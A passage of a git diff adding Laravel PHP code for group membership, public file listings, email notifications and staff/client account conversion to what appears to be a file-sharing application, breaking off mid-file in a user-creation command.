+ ->where('name', 'like', "%{$search}%") + ->orWhere('description', 'like', "%{$search}%"))) + ->when($filters['visibility'], fn (Builder $query, string $visibility) => $query->where('public', $visibility === 'public')) + ->orderBy('name') + ->paginate(25) + ->withQueryString() + ->through(fn (Group $group): array => [ + 'id' => $group->id, + 'name' => $group->name, + 'description' => $group->description, + 'public' => $group->public, + 'members_count' => $group->members_count, + 'public_url' => $group->public + ? $this->publicUrl->for($group) + : null, + ]); + + return Inertia::render('groups/index', [ + 'groups' => $groups->items(), + 'pagination' => Pagination::meta($groups), + 'filters' => $filters, + ]); + } + + public function create(): Response + { + return Inertia::render('groups/create'); + } + + public function store(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + // The slug only matters (and is only shown) once a group is + // public — otherwise fall back to one derived from the name. + 'slug' => Rules::slug('groups'), + 'description' => ['nullable', 'string', 'max:2000'], + 'public' => ['required', 'boolean'], + ]); + + $validated['slug'] = $validated['slug'] ?? '' ?: Group::uniqueSlugFrom($validated['name']); + + $group = Group::query()->create($validated); + + $this->activity->log(Action::GroupCreated, subject: $group); + + if ($group->public) { + $this->activity->log(Action::GroupMadePublic, subject: $group, context: ['slug' => $group->slug]); + } + + return redirect()->route('groups.edit', $group)->with('success', __('Group created.')); + } + + public function edit(Group $group): Response + { + return Inertia::render('groups/edit', [ + 'group' => [ + 'id' => $group->id, + 'name' => $group->name, + 'slug' => $group->slug, + 'description' => $group->description, + 'public' => $group->public, + ], + 'members' => $group->members()->orderBy('name')->get() + ->map(fn (User $member): array => [ + 'id' => $member->id, + 'name' => $member->name, + 'email' => $member->email, + ])->all(), + 'available_clients' => User::query() + ->where('type', UserType::Client) + ->whereNotIn('id', $group->members()->pluck('users.id')) + ->orderBy('name') + ->get() + ->map(fn (User $client): array => [ + 'id' => $client->id, + 'name' => $client->name, + 'email' => $client->email, + ])->all(), + ]); + } + + public function update(Request $request, Group $group): RedirectResponse + { + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + // The slug only matters (and is only shown) once a group is + // public — otherwise fall back to one derived from the name. + 'slug' => Rules::slug('groups', $group->id), + 'description' => ['nullable', 'string', 'max:2000'], + 'public' => ['required', 'boolean'], + ]); + + // Omitting the field on an update leaves the current slug alone — + // it must not silently change just because the name did. + $validated['slug'] = ($validated['slug'] ?? '') ?: ($group->slug ?: Group::uniqueSlugFrom($validated['name'], $group->id)); + + $wasPublic = $group->public; + + $group->update($validated); + + $this->activity->log(Action::GroupUpdated, subject: $group); + + if (! $wasPublic && $group->public) { + $this->activity->log(Action::GroupMadePublic, subject: $group, context: ['slug' => $group->slug]); + } elseif ($wasPublic && ! $group->public) { + $this->activity->log(Action::GroupMadePrivate, subject: $group); + } + + return back()->with('success', __('Group updated.')); + } + + public function destroy(Group $group): RedirectResponse + { + $name = $group->name; + $group->delete(); + + $this->activity->log(Action::GroupDeleted, context: ['name' => $name]); + + return redirect()->route('groups.index')->with('success', __('Group deleted.')); + } +} diff --git a/app/Modules/Groups/Http/Controllers/MembershipRequestsController.php b/app/Modules/Groups/Http/Controllers/MembershipRequestsController.php new file mode 100644 index 00000000..f476c251 --- /dev/null +++ b/app/Modules/Groups/Http/Controllers/MembershipRequestsController.php @@ -0,0 +1,110 @@ +validate([ + 'search' => ['nullable', 'string', 'max:255'], + ]); + + $filters = ['search' => $validated['search'] ?? null]; + + $requests = MembershipRequest::query() + ->pending() + // A request whose client or group vanished is dead weight; excluding + // it in SQL (not after fetching) keeps pagination counts honest. + ->whereHas('user') + ->whereHas('group') + ->with(['group', 'user']) + ->when($filters['search'], fn (Builder $query, string $search) => $query->where(fn (Builder $q) => $q + ->whereHas('user', fn (Builder $u) => $u->where('name', 'like', "%{$search}%")->orWhere('email', 'like', "%{$search}%")) + ->orWhereHas('group', fn (Builder $g) => $g->where('name', 'like', "%{$search}%")))) + ->orderBy('created_at') + ->paginate(25) + ->withQueryString() + ->through(fn (MembershipRequest $membershipRequest): array => [ + 'id' => $membershipRequest->id, + 'client_name' => $membershipRequest->user?->name, + 'client_email' => $membershipRequest->user?->email, + 'group_name' => $membershipRequest->group?->name, + 'created_at' => $membershipRequest->created_at?->toIso8601String(), + ]); + + return Inertia::render('groups/membership-requests', [ + 'requests' => $requests->items(), + 'pagination' => Pagination::meta($requests), + 'filters' => $filters, + ]); + } + + public function approve(MembershipRequest $membershipRequest): RedirectResponse + { + $group = $membershipRequest->group; + $client = $membershipRequest->user; + + abort_unless($group !== null && $client !== null && $membershipRequest->status === MembershipRequest::STATUS_PENDING, 404); + + $group->members()->syncWithoutDetaching([$client->id]); + $membershipRequest->delete(); + + $this->activity->log(Action::GroupMembershipApproved, subject: $group, context: ['member' => $client->name]); + + $this->notifier->send('group.membership_approved', [$client], subject: $group, data: ['groupName' => $group->name]); + + return back()->with('success', __('Membership request approved.')); + } + + public function deny(MembershipRequest $membershipRequest): RedirectResponse + { + $group = $membershipRequest->group; + $client = $membershipRequest->user; + + // The denied row persists: the client sees the outcome, and it + // enforces the re-request cooldown. + $membershipRequest->forceFill([ + 'status' => MembershipRequest::STATUS_DENIED, + 'denied_at' => now(), + ])->save(); + + if ($group !== null && $client !== null) { + $this->activity->log(Action::GroupMembershipDenied, subject: $group, context: ['member' => $client->name]); + + if ($this->settings->get(Setting::EmailNotificationsEnabled) === true) { + $client->notify(new GroupMembershipDeniedNotification($group->name)); + } + } + + return back()->with('success', __('Membership request denied.')); + } +} diff --git a/app/Modules/Groups/Http/Controllers/MyGroupsController.php b/app/Modules/Groups/Http/Controllers/MyGroupsController.php new file mode 100644 index 00000000..4866611d --- /dev/null +++ b/app/Modules/Groups/Http/Controllers/MyGroupsController.php @@ -0,0 +1,183 @@ +user(); + abort_unless($client !== null && $client->isClient(), 404); + + // Only PUBLIC groups are ever shown to clients — private groups + // are the staff's internal organization and must not leak here, + // not even the client's own membership in one. + $memberGroupIds = $client->memberOfGroups()->pluck('groups.id'); + $requests = MembershipRequest::query()->where('user_id', $client->id)->get(); + $pendingGroupIds = $requests->where('status', MembershipRequest::STATUS_PENDING)->pluck('group_id'); + $deniedGroupIds = $requests + ->filter(fn (MembershipRequest $request): bool => $this->inDenyCooldown($request)) + ->pluck('group_id'); + + return Inertia::render('portal/my-groups', [ + 'memberships' => $client->memberOfGroups()->where('public', true)->orderBy('name')->get() + ->map(fn (Group $group): array => [ + 'id' => $group->id, + 'name' => $group->name, + 'description' => $group->description, + ])->values()->all(), + 'available' => $this->requestableGroups() + ->reject(fn (Group $group): bool => $memberGroupIds->contains($group->id)) + ->map(fn (Group $group): array => [ + 'id' => $group->id, + 'name' => $group->name, + 'description' => $group->description, + 'requested' => $pendingGroupIds->contains($group->id), + 'denied' => $deniedGroupIds->contains($group->id), + ])->values()->all(), + ]); + } + + public function store(Request $request): RedirectResponse + { + $client = $request->user(); + abort_unless($client !== null && $client->isClient(), 404); + + $validated = $request->validate([ + 'group_id' => ['required', 'integer', Rule::in($this->requestableGroups()->pluck('id')->all())], + ]); + + $groupId = (int) $validated['group_id']; + + $alreadyMember = $client->memberOfGroups()->where('groups.id', $groupId)->exists(); + + if ($alreadyMember) { + return back(); + } + + $existing = MembershipRequest::query() + ->where('user_id', $client->id) + ->where('group_id', $groupId) + ->first(); + + if ($existing !== null && $existing->status === MembershipRequest::STATUS_PENDING) { + return back(); + } + + if ($existing !== null && $this->inDenyCooldown($existing)) { + throw ValidationException::withMessages([ + 'group_id' => __('Your previous request to this group was declined. You can request again later.'), + ]); + } + + // Past-cooldown denial: the same row goes back to pending. + if ($existing !== null) { + $existing->forceFill([ + 'status' => MembershipRequest::STATUS_PENDING, + 'denied_at' => null, + 'created_at' => now(), + ])->save(); + $membershipRequest = $existing; + } else { + $membershipRequest = MembershipRequest::query()->create([ + 'group_id' => $groupId, + 'user_id' => $client->id, + ]); + } + + $group = $membershipRequest->group; + + $this->activity->log(Action::GroupMembershipRequested, $client, $group); + + if ($group !== null && $this->settings->get(Setting::EmailNotificationsEnabled) === true) { + $adminEmails = $this->settings->get(Setting::AdminNotificationEmails); + foreach (is_array($adminEmails) ? $adminEmails : [] as $email) { + Notification::route('mail', $email)->notify( + new GroupMembershipRequestedNotification($client->name, $group->name) + ); + } + } + + return back(); + } + + /** + * A denied request blocks re-requesting until the configured + * cooldown has passed (0 = no cooldown). + */ + private function inDenyCooldown(MembershipRequest $request): bool + { + if ($request->status !== MembershipRequest::STATUS_DENIED || $request->denied_at === null) { + return false; + } + + $days = (int) $this->settings->get(Setting::ClientsMembershipDenyCooldownDays); + + return $days > 0 && $request->denied_at->addDays($days)->isFuture(); + } + + /** + * Leave a public group. Restricted to public memberships for the + * same reason the lists are: a rejection must not reveal whether a + * private group exists. + */ + public function leave(Request $request, Group $group): RedirectResponse + { + $client = $request->user(); + abort_unless($client !== null && $client->isClient(), 404); + + $isPublicMembership = $group->public + && $client->memberOfGroups()->where('groups.id', $group->id)->exists(); + + abort_unless($isPublicMembership, 404); + + $group->members()->detach($client->id); + + $this->activity->log(Action::GroupMembershipLeft, $client, $group); + + return back(); + } + + /** + * Requestable from the portal: public groups only, whenever + * requesting is enabled at all. + * + * @return Collection + */ + private function requestableGroups(): Collection + { + return match ($this->settings->get(Setting::ClientsCanSelectGroup)) { + 'public' => Group::query()->where('public', true)->orderBy('name')->get(), + default => Group::query()->whereRaw('1 = 0')->get(), + }; + } +} diff --git a/app/Modules/Groups/Http/Controllers/PublicFoldersController.php b/app/Modules/Groups/Http/Controllers/PublicFoldersController.php new file mode 100644 index 00000000..f4f01a8b --- /dev/null +++ b/app/Modules/Groups/Http/Controllers/PublicFoldersController.php @@ -0,0 +1,78 @@ +guardSlug($publicSlug); + + $folder = Folder::query()->where('slug', $folderSlug)->where('public', true)->firstOrFail(); + + $files = $this->allowance->withCounts(File::query()->publiclyVisibleForFolder($folder), null) + ->with('categories')->orderBy('name') + ->paginate(self::PER_PAGE)->withQueryString(); + + $page = Paginator::resolveCurrentPage(); + if (Pagination::isPastLastPage($files, $page)) { + $redirectParams = [$publicSlug, $folderSlug]; + $redirectPage = Pagination::redirectPage($files); + if ($redirectPage !== null) { + $redirectParams['page'] = $redirectPage; + } + + return redirect()->route('public.folder', $redirectParams); + } + + return Inertia::render("public/themes/{$this->themeKey()}/folder", [ + 'folder' => [ + 'name' => $folder->name, + ], + 'files' => $files->through(fn (File $file): array => $this->fileProps($file, $publicSlug))->items(), + 'pagination' => Pagination::meta($files), + ]); + } +} diff --git a/app/Modules/Groups/Http/Controllers/PublicGroupsController.php b/app/Modules/Groups/Http/Controllers/PublicGroupsController.php new file mode 100644 index 00000000..7453ee0e --- /dev/null +++ b/app/Modules/Groups/Http/Controllers/PublicGroupsController.php @@ -0,0 +1,275 @@ +guardSlug($publicSlug); + abort_unless($this->settings->get(Setting::PublicListingEnabled) === true, 404); + + $groups = Group::query()->where('public', true)->orderBy('name'); + // Top of each public subtree only — a public folder nested inside + // another public folder already appears on its ancestor's own + // page (PublicFoldersController::show), same "don't list twice" + // reasoning as standalonePublic() below. Expressed as a query + // (whereDoesntHave) rather than an in-memory reject() so it stays + // pageable — the original fetched every public folder unbounded + // to filter client-side. + $folders = Folder::query()->where('public', true) + ->whereDoesntHave('parent', fn (Builder $q) => $q->where('public', true)) + ->orderBy('name'); + $files = $this->allowance->withCounts(File::query()->standalonePublic(), null)->with('categories')->orderBy('name'); + + $page = Paginator::resolveCurrentPage(); + + // ConcatenatedPagination is model-agnostic — Larastan's Builder + // generic is invariant, so a heterogeneous array of builders + // needs an explicit widen/narrow at the call site (sound at + // runtime since each key's builder only ever queries its own + // model). Same pattern as FoldersController::index(). + /** @var array> $sequences */ + $sequences = ['groups' => $groups, 'folders' => $folders, 'files' => $files]; + + $sliced = ConcatenatedPagination::slice( + $sequences, + $page, + self::PER_PAGE, + ['path' => $request->url(), 'query' => $request->query()], + ); + + if (Pagination::isPastLastPage($sliced['paginator'], $page)) { + $redirectParams = [$publicSlug]; + $redirectPage = Pagination::redirectPage($sliced['paginator']); + if ($redirectPage !== null) { + $redirectParams['page'] = $redirectPage; + } + + return redirect()->route('public.index', $redirectParams); + } + + /** @var Collection $groupRows */ + $groupRows = $sliced['items']['groups']; + /** @var Collection $folderRows */ + $folderRows = $sliced['items']['folders']; + /** @var Collection $fileRows */ + $fileRows = $sliced['items']['files']; + + return Inertia::render("public/themes/{$this->themeKey()}/index", [ + 'groups' => $groupRows->map(fn (Group $group): array => [ + 'name' => $group->name, + 'description' => $group->description, + 'url' => route('public.show', [$publicSlug, $group->slug]), + ])->values()->all(), + 'folders' => $folderRows->map(fn (Folder $folder): array => [ + 'name' => $folder->name, + 'url' => route('public.folder', [$publicSlug, $folder->slug]), + ])->values()->all(), + 'files' => $fileRows->map(fn (File $file): array => $this->fileProps($file, $publicSlug))->values()->all(), + 'pagination' => Pagination::meta($sliced['paginator']), + ]); + } + + public function show(string $publicSlug, string $groupSlug): InertiaResponse|RedirectResponse + { + $this->guardSlug($publicSlug); + + $group = Group::query()->where('slug', $groupSlug)->where('public', true)->firstOrFail(); + + $files = $this->allowance->withCounts(File::query()->publiclyVisibleForGroup($group), null)->with('categories')->orderBy('name') + ->paginate(self::PER_PAGE)->withQueryString(); + + $page = Paginator::resolveCurrentPage(); + if (Pagination::isPastLastPage($files, $page)) { + $redirectParams = [$publicSlug, $groupSlug]; + $redirectPage = Pagination::redirectPage($files); + if ($redirectPage !== null) { + $redirectParams['page'] = $redirectPage; + } + + return redirect()->route('public.show', $redirectParams); + } + + return Inertia::render("public/themes/{$this->themeKey()}/group", [ + 'group' => [ + 'name' => $group->name, + 'description' => $group->description, + ], + 'files' => $files->through(fn (File $file): array => $this->fileProps($file, $publicSlug))->items(), + 'pagination' => Pagination::meta($files), + ]); + } + + public function showFile(string $publicSlug, File $file): InertiaResponse + { + $this->guardSlug($publicSlug); + + abort_unless($file->isEffectivelyPublic() && ! $file->isExpired(), 404); + + $file->loadMissing('categories'); + + return Inertia::render("public/themes/{$this->themeKey()}/file", [ + 'file' => [ + 'name' => $file->name, + 'description' => $file->description, + 'original_name' => $file->original_name, + 'size' => $file->size, + 'mime_type' => $file->mime_type, + 'categories' => $file->categories + ->map(fn (Category $category): array => [ + 'id' => $category->id, 'name' => $category->name, 'color' => $category->color, + ])->values()->all(), + // Only ever names a counterpart that is itself public and + // unexpired — the same guard this method 404s on above. + 'version' => app(FileVersionLinks::class)->for( + $file, + null, + fn (File $other): ?string => $other->slug === '' ? null : route('public.file', [$publicSlug, $other->slug]), + ), + ], + 'thumbnail_url' => ThumbnailGenerator::supports($file->mime_type) + ? route('public.thumbnail', [$publicSlug, $file->slug]) + : null, + 'download_url' => route('public.download', [$publicSlug, $file->slug]), + // Same decided shape the listings send, so a theme's single + // file page disables its button for the same reason a row + // does — see DownloadAllowance::summaryFor. + 'download_limit' => $this->allowance->summaryFor($file, null), + // The theme mounts its own comment shell against this + // endpoint; the payload it returns is the same shape the + // authenticated one uses, so the shared thread component does + // not know which surface it is on. + 'comments_enabled' => $this->commenting->enabledFor($file), + 'comments_endpoint' => route('public.comments.index', [$publicSlug, $file->slug], false), + ]); + } + + public function thumbnail(string $publicSlug, File $file): Response + { + $this->guardSlug($publicSlug); + + abort_unless($file->isEffectivelyPublic() && ! $file->isExpired(), 404); + abort_unless(ThumbnailGenerator::supports($file->mime_type), 404); + + // Always the external variant — nobody reaching a public listing is + // signed in as staff, and the path has to match what + // FileThumbnailController would cache for the same viewer or the + // two surfaces would each rebuild the other's file. + $thumbnailPath = ThumbnailGenerator::pathFor($file->id, $file->mime_type, ImageAudience::External, ImageRendition::Thumbnail); + + abort_if($thumbnailPath === null, 404); + + $disk = Storage::disk('files'); + + if (! $disk->exists($thumbnailPath)) { + $disk->makeDirectory(dirname($thumbnailPath)); + $this->thumbnails->generate($disk->path($file->path), $disk->path($thumbnailPath), $file->mime_type, ImageAudience::External, ImageRendition::Thumbnail); + } + + return response('', 200, [ + 'X-Accel-Redirect' => '/protected-files/'.$thumbnailPath, + 'Content-Type' => $file->mime_type, + 'Content-Disposition' => ContentDisposition::inline($file->original_name), + ]); + } + + public function download(string $publicSlug, File $file): Response + { + $this->guardSlug($publicSlug); + + abort_unless($file->isEffectivelyPublic() && ! $file->isExpired(), 404); + + // 403 rather than 404, unlike the checks above it: the file is + // genuinely here and genuinely public, it has simply been taken + // as many times as it was meant to be. Hiding that would send + // someone hunting for a link that never broke. + abort_unless($this->allowance->allows($file, null), 403); + + $this->activity->log(Action::PublicFileDownloaded, subject: $file); + + return response('', 200, [ + 'X-Accel-Redirect' => '/protected-files/'.$file->path, + 'Content-Type' => $file->mime_type, + 'Content-Disposition' => ContentDisposition::attachment($file->original_name), + 'Content-Length' => (string) $file->size, + ]); + } +} diff --git a/app/Modules/Groups/Http/Resources/Api/GroupResource.php b/app/Modules/Groups/Http/Resources/Api/GroupResource.php new file mode 100644 index 00000000..0a6fb5f9 --- /dev/null +++ b/app/Modules/Groups/Http/Resources/Api/GroupResource.php @@ -0,0 +1,46 @@ + + */ + public function toArray(Request $request): array + { + return [ + 'id' => $this->id, + 'name' => $this->name, + 'slug' => $this->slug, + 'description' => $this->description, + 'public' => $this->public, + 'members_count' => $this->whenCounted('members'), + 'created_at' => $this->created_at?->toIso8601String(), + 'updated_at' => $this->updated_at?->toIso8601String(), + + 'members' => $this->whenLoaded('members', fn (): array => $this->members + ->map(fn (User $member): array => [ + 'id' => $member->id, + 'name' => $member->name, + 'email' => $member->email, + ]) + ->all()), + ]; + } +} diff --git a/app/Modules/Groups/Models/Group.php b/app/Modules/Groups/Models/Group.php new file mode 100644 index 00000000..927d5de3 --- /dev/null +++ b/app/Modules/Groups/Models/Group.php @@ -0,0 +1,69 @@ + 'boolean', + ]; + } + + protected static function slugFallback(): string + { + return 'group'; + } + + /** + * The clients in this group. + * + * Filtered to clients rather than trusting the pivot to only ever hold + * them. Membership is a clients-only concept enforced at the + * application layer, so for most of this app's life the filter is a + * no-op — but an account can change type (see AccountConversion), and + * a staff member left in a group is not merely untidy: this relation + * is what FileSharing::recipients(), ResolvesShareTargets and + * FileVersions expand a group into, so a stale row would keep sending + * "a file was shared with you" to somebody who is no longer a + * recipient of anything. + * + * Rows are deliberately left in place when an account converts, so + * converting back restores the membership; this is what makes them + * genuinely inert in the meantime. + * + * @return BelongsToMany + */ + public function members(): BelongsToMany + { + return $this->belongsToMany(User::class, 'group_members') + ->where('users.type', UserType::Client) + ->withTimestamps(); + } +} diff --git a/app/Modules/Groups/Models/MembershipRequest.php b/app/Modules/Groups/Models/MembershipRequest.php new file mode 100644 index 00000000..c565ce16 --- /dev/null +++ b/app/Modules/Groups/Models/MembershipRequest.php @@ -0,0 +1,62 @@ + 'datetime', + ]; + } + + /** + * @param Builder $query + * @return Builder + */ + public function scopePending(Builder $query): Builder + { + return $query->where('status', self::STATUS_PENDING); + } + + /** + * @return BelongsTo + */ + public function group(): BelongsTo + { + return $this->belongsTo(Group::class); + } + + /** + * @return BelongsTo + */ + public function user(): BelongsTo + { + return $this->belongsTo(User::class); + } +} diff --git a/app/Modules/Groups/Notifications/GroupMembershipApprovedNotification.php b/app/Modules/Groups/Notifications/GroupMembershipApprovedNotification.php new file mode 100644 index 00000000..81a7578a --- /dev/null +++ b/app/Modules/Groups/Notifications/GroupMembershipApprovedNotification.php @@ -0,0 +1,42 @@ + + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + if (($override = $this->overrideOrNull(EmailTemplateSlot::GroupMembershipApproved)) !== null) { + return $this->mailFromOverride($override, [':group' => $this->groupName]) + ->action(__('View your files'), route('my-files.index')); + } + + return (new MailMessage) + ->subject(__('Your group membership request was approved')) + ->line(__('Your request to join the group ":group" has been approved.', ['group' => $this->groupName])) + ->action(__('View your files'), route('my-files.index')); + } +} diff --git a/app/Modules/Groups/Notifications/GroupMembershipDeniedNotification.php b/app/Modules/Groups/Notifications/GroupMembershipDeniedNotification.php new file mode 100644 index 00000000..378625e6 --- /dev/null +++ b/app/Modules/Groups/Notifications/GroupMembershipDeniedNotification.php @@ -0,0 +1,40 @@ + + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + if (($override = $this->overrideOrNull(EmailTemplateSlot::GroupMembershipDenied)) !== null) { + return $this->mailFromOverride($override, [':group' => $this->groupName]); + } + + return (new MailMessage) + ->subject(__('Your group membership request was denied')) + ->line(__('Your request to join the group ":group" has been denied.', ['group' => $this->groupName])); + } +} diff --git a/app/Modules/Groups/Notifications/GroupMembershipRequestedNotification.php b/app/Modules/Groups/Notifications/GroupMembershipRequestedNotification.php new file mode 100644 index 00000000..0df042f5 --- /dev/null +++ b/app/Modules/Groups/Notifications/GroupMembershipRequestedNotification.php @@ -0,0 +1,48 @@ + + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + if (($override = $this->overrideOrNull(EmailTemplateSlot::GroupMembershipRequested)) !== null) { + return $this->mailFromOverride($override, [':client' => $this->clientName, ':group' => $this->groupName]) + ->action(__('Review membership requests'), route('membership-requests.index')); + } + + return (new MailMessage) + ->subject(__('A client requested to join a group')) + ->line(__('New membership request from :client for the group ":group".', ['client' => $this->clientName, 'group' => $this->groupName])) + ->action(__('Review membership requests'), route('membership-requests.index')); + } +} diff --git a/app/Modules/Identity/AccountContentDeletion.php b/app/Modules/Identity/AccountContentDeletion.php new file mode 100644 index 00000000..2ae7aaa1 --- /dev/null +++ b/app/Modules/Identity/AccountContentDeletion.php @@ -0,0 +1,113 @@ + + */ + public function candidates(?int $excludeId = null): array + { + return User::query() + ->when($excludeId, fn (Builder $query, int $id) => $query->whereKeyNot($id)) + ->where('active', true) + ->with('role') + ->orderBy('name') + ->get() + ->map(function (User $user): array { + $role = $user->role; + + return [ + 'id' => $user->id, + 'name' => $user->name, + 'role' => $user->isClient() ? __('Client') : ($role instanceof Role ? $role->name : __('Staff')), + ]; + }) + ->values() + ->all(); + } + + /** + * When the account being deleted owns any files/folders, require the + * admin to choose what happens to them. Returns an empty array when + * there is nothing to decide, so accounts with no content delete + * exactly as before. + * + * @return array{content_action?: string, reassign_to_id?: int} + */ + public function validate(Request $request, User $target): array + { + $summary = $this->content->summarize($target); + + if ($summary['files'] === 0 && $summary['folders'] === 0) { + return []; + } + + return $request->validate([ + 'content_action' => ['required', Rule::in(['cascade_delete', 'reassign'])], + 'reassign_to_id' => [ + 'required_if:content_action,reassign', + 'integer', + Rule::exists('users', 'id')->where('active', true), + Rule::notIn([$target->id]), + ], + ]); + } + + /** + * @param array{content_action?: string, reassign_to_id?: int} $validated + */ + public function apply(array $validated, User $target, string $name): void + { + $action = $validated['content_action'] ?? null; + + if ($action === 'cascade_delete') { + $result = $this->content->cascadeDelete($target); + $this->activity->log(Action::AccountContentCascadeDeleted, context: ['name' => $name, ...$result]); + + return; + } + + if ($action === 'reassign' && isset($validated['reassign_to_id'])) { + $to = User::findOrFail($validated['reassign_to_id']); + $result = $this->content->reassignTo($target, $to); + $this->activity->log(Action::AccountContentReassigned, context: ['name' => $name, 'target' => $to->name, ...$result]); + } + } +} diff --git a/app/Modules/Identity/AccountConversion.php b/app/Modules/Identity/AccountConversion.php new file mode 100644 index 00000000..11282957 --- /dev/null +++ b/app/Modules/Identity/AccountConversion.php @@ -0,0 +1,268 @@ +guardSelf($actor, $target); + + // Only on this direction. "Could the actor have granted the + // target's current role" is a real question when the target is + // staff, because their role *is* authority over this installation. + // Asking it of a client is meaningless: the Client system role + // grants `upload` and `create_own_folders`, so a User Manager who + // happens not to hold `upload` would be refused permission to + // promote anybody — a refusal about nothing. + $this->accounts->guardTarget($actor, $target); + + // Belt and braces: through this screen it cannot fire, because + // demoting the sole active administrator requires an actor who is + // themselves an active administrator (guardTarget above), which + // would make two. It is kept because AccountConversion is a service + // and the next caller may not have that property. + // + // StaffAccounts phrases this refusal on the `role_id` key, because + // its callers are forms with a role picker. This one is not — a + // demotion has no role field — so the message would otherwise land + // on a key nothing renders and the refusal would look like a + // silent no-op. + try { + $this->accounts->guardLastAdministrator( + $target, + removesAdmin: $this->accounts->isAdministratorRole($target->role_id), + ); + } catch (ValidationException $e) { + throw ValidationException::withMessages([ + 'user' => $e->validator->errors()->first('role_id'), + ]); + } + } + + /** + * @throws ValidationException + */ + public function guardToStaff(User $actor, User $target): void + { + $this->guardSelf($actor, $target); + + // No guardTarget here — see guardToClient(). What actually limits + // a promotion is the role being granted, and that is enforced by + // the caller validating role_id against + // StaffAccounts::assignableRoleIds(): nobody hands out authority + // they do not hold. + + // An account request is not an account yet. Approving one is a + // deliberate decision with its own screen and its own audit entry; + // letting a conversion imply it would hide that decision inside an + // unrelated tool. + if ($target->account_requested) { + throw ValidationException::withMessages([ + 'user' => __('Approve or deny this account request before converting it.'), + ]); + } + } + + /** + * Whether promoting this account has to set a local password. + * + * A client this installation did not choose a password for has a + * 64-character random one nobody has ever seen and nobody can recover + * — see LdapProvisioner and SocialProvisioner. Something else holds + * the credential that actually signs them in. + * + * For a directory account that something is unreachable to staff: + * LoginRequest's LDAP fallback is guarded by isClient(), so promoting + * one without a password produces an account whose two ways in are a + * password nobody knows and a directory nobody asks — and the screen + * would have reported success. + * + * For an account created by an identity provider the door does still + * open, since staff may sign in through a connected provider. The rule + * holds anyway, and on purpose: a staff account must carry a + * credential *this application* can check, or an administrator is one + * provider outage — or one disabled checkbox — away from being locked + * out of their own installation. + */ + public function requiresNewPassword(User $target): bool + { + return $target->auth_source !== AuthSource::Local; + } + + /** + * Converting yourself strips your own access halfway through the + * request that does it. + * + * @throws ValidationException + */ + private function guardSelf(User $actor, User $target): void + { + if ($target->is($actor)) { + throw ValidationException::withMessages([ + 'user' => __('You cannot convert your own account.'), + ]); + } + } + + /** + * @return array{api_tokens_revoked: int, assigned_clients_cleared: int} + */ + public function toClient(User $target): array + { + $oldRoleName = $target->role?->name; + + return DB::transaction(function () use ($target, $oldRoleName): array { + // The API is staff-only (EnsureStaffToken), so a demoted + // account holding a live bearer token would keep staff-level + // API access that no screen in the app would ever show. This is + // the one thing per-request type checks cannot catch. + $tokensRevoked = $target->tokens()->count(); + $target->tokens()->delete(); + + // A client does not manage clients. + $assignmentsCleared = $target->assignedClients()->count(); + $target->assignedClients()->detach(); + + // The role has to move with the type. PermissionChecker reads + // only the role and never the type, and several routes are + // gated on `can:` without the `staff` middleware — so a + // type=client row still carrying an administrator role would + // hold every permission. + $target->forceFill([ + 'type' => UserType::Client, + 'role_id' => $this->clientRoleId(), + 'account_requested' => false, + // A staff dashboard preference means nothing to a client. + 'dashboard_columns' => null, + ])->save(); + + $this->activity->log(Action::AccountConvertedToClient, subject: $target, context: [ + 'from_role' => $oldRoleName, + 'api_tokens_revoked' => $tokensRevoked, + 'assigned_clients_cleared' => $assignmentsCleared, + ]); + + return [ + 'api_tokens_revoked' => $tokensRevoked, + 'assigned_clients_cleared' => $assignmentsCleared, + ]; + }); + } + + /** + * @param list $assignedClients + * @return array{managed_by_cleared: int} + */ + public function toStaff(User $target, int $roleId, array $assignedClients = [], ?string $password = null): array + { + $newPassword = is_string($password) && $password !== '' ? $password : null; + + // Enforced here and not only in the controller's rules, because + // this is the invariant ("a staff account must have a credential + // this application can actually check"), not a form's opinion. + // Outside the transaction so a refusal writes nothing. + if ($newPassword === null && $this->requiresNewPassword($target)) { + throw ValidationException::withMessages([ + 'password' => $target->auth_source === AuthSource::Ldap + ? __('Set a password for this account. It signs in through your directory today, and staff accounts never do.') + : __('Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.'), + ]); + } + + return DB::transaction(function () use ($target, $roleId, $assignedClients, $newPassword): array { + // Normally a no-op — the token screens are staff-gated — but + // the rule worth holding is "a conversion invalidates every + // credential scoped to the old identity", which stays true the + // day client tokens exist. + $target->tokens()->delete(); + + // They are no longer somebody's assigned client; leaving the + // rows would place a staff account inside another staff + // member's client scope. + $managedByCleared = DB::table('staff_client_assignments') + ->where('client_id', $target->id) + ->delete(); + + $target->forceFill([ + 'type' => UserType::Staff, + 'role_id' => $roleId, + 'account_requested' => false, + // They authenticate against this application now — that is + // what the password above is for, and it is what being + // staff means here. Leaving the stamp would claim their + // credential lives somewhere nothing will ever ask. + // `ldap_dn` is deliberately kept: it is the record of where + // the account came from, and a demotion makes it live again. + 'auth_source' => AuthSource::Local, + ]); + + if ($newPassword !== null) { + $target->password = $newPassword; + } + + $target->save(); + + // Reused rather than re-derived: this is what clears the roster + // for a role that is not client-scoped. + $this->accounts->syncAssignedClients($target, $roleId, $assignedClients); + + $target->load('role'); + + $this->activity->log(Action::AccountConvertedToStaff, subject: $target, context: [ + 'role' => $target->role?->name, + 'managed_by_cleared' => $managedByCleared, + ]); + + return ['managed_by_cleared' => $managedByCleared]; + }); + } + + private function clientRoleId(): int + { + $id = Role::query()->where('name', SystemRole::Client->value)->value('id'); + + // EnsureSystemRoles guarantees this exists; a null here means the + // installation is broken in a way this screen cannot repair. + abort_if($id === null, 500, 'The Client system role is missing.'); + + return (int) $id; + } +} diff --git a/app/Modules/Identity/AuthSource.php b/app/Modules/Identity/AuthSource.php new file mode 100644 index 00000000..c7eceb3c --- /dev/null +++ b/app/Modules/Identity/AuthSource.php @@ -0,0 +1,38 @@ +option('if-none') && User::query()->where('type', UserType::Staff)->exists()) { + $this->info('A staff user already exists; nothing to do.'); + + return self::SUCCESS; + } + + $name = $this->option('name') ?? $this->ask('Name'); + $email = $this->option('email') ?? $this->ask('Email address'); + $password = $this->option('password') ?? $this->secret('Password'); + + $validator = Validator::make( + ['name' => $name, 'email' => $email, 'password' => $password], + [ + 'name' => ['required', 'string', 'max:255'], + 